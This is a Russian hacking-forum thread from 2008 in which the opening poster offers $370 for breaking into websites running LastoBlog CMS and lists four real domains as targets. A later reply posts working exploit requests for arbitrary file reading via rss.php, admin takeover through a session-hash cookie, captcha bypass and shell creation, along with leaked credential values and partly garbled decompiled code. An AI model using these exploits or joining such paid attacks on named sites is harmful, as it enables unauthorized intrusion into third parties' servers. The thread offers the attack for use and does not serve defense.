Хочу провести конкурс на взлом LastoBlog

Discussion in 'Песочница' started by Ибо, 19 Jun 2008.

  1. Ибо

    Ибо New Member

    Joined:
    18 Jun 2008
    Messages:
    2
    Likes Received:
    1
    Reputations:
    0
    Приветствую господа!

    Когда то юзал CMS LastoBlog, несколько раз дефейсили его, следовательно взлому он поддается :)

    Гонорар $370 тому, кто похакает сайт на этом движке.

    Сайт не затирайте просто, положите какой-нибудь файл, вот парочка таргетов на этом движке:

    blog.d21.ru
    goldguru.ru/blog/
    dimox.biz
    prmstudio.com

    Если нужна сама cms, пишите в личку.

    Результаты будут опубликованы здесь.

    Впирьйод на бобра!
     
    1 person likes this.
  2. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,571
    Likes Received:
    976
    Reputations:
    783
    Ссылку на скачку двига выкладывай в теме.
     
  3. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Или хотябы в личку ответь, на офф. сайте двиг платный.
     
  4. gibson

    gibson Elder - Старейшина

    Joined:
    24 Feb 2006
    Messages:
    391
    Likes Received:
    247
    Reputations:
    88
    ссыль на скачку пульни в личку, и имхо нужно к гарантам форума обратиться.
     
  5. Ибо

    Ибо New Member

    Joined:
    18 Jun 2008
    Messages:
    2
    Likes Received:
    1
    Reputations:
    0
  6. otmorozok428

    otmorozok428 Banned

    Joined:
    19 Oct 2007
    Messages:
    127
    Likes Received:
    88
    Reputations:
    17
    Ибо, мне кажется, ты часть файлов забыл в архив положить... Сразу бросается в глаза отсутствие в корне файлов login.html, connect.html, search.html и др. Можешь выложить какую-нить менее коцанную версию?
     
  7. Alv

    Alv Elder - Старейшина

    Joined:
    30 Jan 2007
    Messages:
    0
    Likes Received:
    20
    Reputations:
    2
    Я так понимаю, если я залью любой файл в корень любого из сайтов в этой теме на этом движке я полочу гонарар или там будут дополнительные условия?
     
  8. OMG!!

    OMG!! Elder - Старейшина

    Joined:
    25 Feb 2008
    Messages:
    230
    Likes Received:
    70
    Reputations:
    -3
    370 за все, или за один?
     
  9. -Hormold-

    -Hormold- Кто, если не ты?

    Joined:
    29 Sep 2007
    Messages:
    418
    Likes Received:
    290
    Reputations:
    44
    Скорей всего тебя сломали через другой сайт.
    так же как inhacking.org.
    смотри логи
     
  10. Elekt

    Elekt Banned

    Joined:
    5 Dec 2005
    Messages:
    944
    Likes Received:
    427
    Reputations:
    508
    посмотрел исходники, эти и свежие с офф. сайта(10WMZ).
    Твои несколько устарели.

    Но ни там ни сям нет глобальных уязвимостей.
    Есть опасные моменты.
    Есть недочеты по безопасности из разряда "как не надо делать".
    Но если сервак настроен правильно - воспользоваться не выйдет.

    Сломать можно либо через хсс, либо только через revers-ip.

    Не даю гарантии. Мог что-то не заметить, однако копал довольно долго и придирчиво.
     
  11. Elekt

    Elekt Banned

    Joined:
    5 Dec 2005
    Messages:
    944
    Likes Received:
    427
    Reputations:
    508

    Вобщем, я подумал еще раз и....
    В том коде что ты дал(старые исходники):

    ==========================

    Чтение произвольного файла.

    Массив $posts не определен изначально.
    При register_globals=ON мы можем внести свои файлы в список отображаемых.

    Требование: register_globals=ON

    Эксплоит:

    /rss.php?posts[]=../session.php
    /rss.php?posts[]=../settings.php
    /rss.php?posts[]=../blog_settings.ini


    /data/session.php
    <? $_s["sid"]="74e8cbbe945570109125f10a20bf5df8"; ?>

    /data/settings.php
    $_s['pass'] = "fsdkj8309u7ghowrj32"; // пароль для входа в админку.

    /data/blog_settings.ini

    login="admin"; логин для входа в админку.
    pass="entero"; пароль для входа в админку.
    pepetun="default"; измените на любое английское слово.
    email="vadim_lasto@mail.ru";

    Вырезка уязвимого кода:

    /rss.php
    PHP:
          $d=dir("data/posts");
          while (
    false!==($entry=$d->read()))
             if (
    strlen($entry)==10 && is_numeric($entry) && $entry <= time()) $posts[]=$entry;

    ==========================

    Так получаем админские привилегии по хешу из "/data/session.php"

    COOKIE: admin_connected=74e8cbbe945570109125f10a20bf5df8;

    Вырезка уязвимого кода:

    /index.php
    PHP:
      $_s['admin']=(isset($_COOKIE['admin_connected']) and $_COOKIE['admin_connected']==$_s["sid"]) ? true false;  
    ==========================

    Зачетный обход капчи в куках:

    Вырезка уязвимого кода:

    /index.php
    PHP:
          or $_COOKIE['secret_number']!=$_POST['verification']) exit("wrong key control");

    /
    key.php

       
    list ($x,$y,$sc,$tt)=array(
          
    120,
          
    19,
          array(array(
    255,255,255),array(0,0,255)),
          (isset(
    $_COOKIE['secret_number']) and is_numeric($_COOKIE["secret_number"])) ? 
             
    $_COOKIE["secret_number"]:
             
    " ERROR "
       
    );
    ==========================
    ==========================
    ==========================

    В свежих исходниках с сайта:

    Last Blog version_05.10.07 work

    возможная не\работоспособность кода обусловлена кривостью дезендера

    ==========================

    Обход капчи в куках:

    /key.php
    PHP:
    $n extract$_GETEXTR_OVERWRITE );
    ==========================

    Создание шела.

    В секции "new","old" имя файла $fn не определено
    При register_globals=ON мы можем переопределить путь

    /index.php

    PHP:
    case "new" :
        
    $_s['post_short_info'][$page] = $data;
        
    $_s['post_short_info'] = arr2disk$_s['post_short_info'], $indx );
        
    fw$data['title'].$oslen.$oslen.$text$fn );
        
    fw""$cn );
        
    build_index$page );
        
    redirect$turl."/post_$page.html" );
        exit( );
    case 
    "old" :
        
    $data['com'] = isset( $_s['post_short_info'][$cat]['com'] ) ? $_s['post_short_info'][$cat]['com'] : $data['com'];
        if ( 
    $cat != $page )
        {
            if ( 
    unlink$fo ) )
            {
                if ( 
    rename$co$cn ) || isset( $_s['post_short_info'][$cat] ) )
                {
                }
            }
        }
        
    $_s['post_short_info'][$page] = $data;
        
    $_s['post_short_info'] = arr2disk$_s['post_short_info'], $indx );
        
    fw$data['title'].$oslen.$oslen.$text$fn );
        
    build_index$page );
        
    redirect$turl."/comment_$page.html" );
        exit( );
        do
        {
        default :
        } while ( 
    in_array$cat$posts ) ? "old" "new" TRUE :  );
        exit( );
    ==========================

    Создание шела.

    $_POST['text'] не фильтруется и подставляется в имя записываемого файла.
    Желательно magic_qoutes=OFF

    /remoute.html
    POST: [some_parameters_here]


    Вырезка уязвимого кода:

    /data/php_pages/remoute.php

    PHP:
    $state true == $_s['admin'] ? "getform" "work";

        case 
    "work" :
            do
            {
                if ( !isset( 
    $_POST['title'] ) && isset( $_POST['publicate'] ) && isset( $_POST['text'] ) && isset( $_POST['category'] ) && isset( $_POST['code'] ) )
                    break;
                if ( 
    in_array$_POST['category'], array_keys$_s['cats'] ) ) )
                {
                }
            } while( 
    );
            
    finita$_s['lang']['failed'] );
            if ( 
    trim$_POST['title'] ) == "" )
            {
                
    finita$_s['lang']['postcreate_nosubj'] );
            }
            if ( 
    trim$_POST['text'] ) == "" )
            {
                
    finita$_s['lang']['postcreate_empty'] );
            }
            
    $a explode" "trim$_POST['publicate'] ) );
            if ( 
    count$a ) != )
            {
                
    finita$_s['lang']['postcreate_date_wrong'] );
            }
            
    $b explode"."$a[0] );
            
    $c explode":"$a[1] );
            if ( 
    count$b ) != )
            {
                
    finita$_s['lang']['postcreate_date_error'] );
            }
            if ( 
    count$c ) != )
            {
                
    finita$_s['lang']['postcreate_time_error'] );
            }
            
    $page mktime$c[0], $c[1], $c[2], $b[1], $b[0], $b[2] );
            
    $data = array( "cat"=>trim$_POST['category'] ), "title"=>trim$_POST['title'] ), "com"=>);
            
    $cn trim$_POST['text'] );
            
    $co trim$_POST['text'] );
            
    $fn trim$_POST['text'] );
            
    $fo trim$_POST['text'] );
            
    $indx trim$_POST['text'] );
            
    $text trim$_POST['text'] );
            array( , 
    "./data/posts/index.php""./data/posts/".$cat"./data/posts/".$page"./data/comments/".$cat"./data/comments/".$page );
            
    $sw in_array$cat$posts ) ? "old" "new";
        case 
    "new" :
            
    $_s['post_short_info'][$page] = $data;
            
    $_s['post_short_info'] = arr2disk$_s['post_short_info'], $indx );
            
    fw$data['title'].$oslen.$oslen.$text$fn );
            
    fw""$cn );
            
    build_index$page );
            exit( );

    function 
    fw($content$file)  {
       if (
    file_exists($file)) $db=fopen($file,"r+");
       else 
    $db=fopen("$file","w");
       if (
    $db) {
          
    set_file_buffer($db,0);
          
    flock($db,LOCK_EX);
          
    ftruncate($db,0);
          
    fwrite($db$content);
          
    flock($db,LOCK_UN);
          
    fclose($db);
       }
    }
    ==========================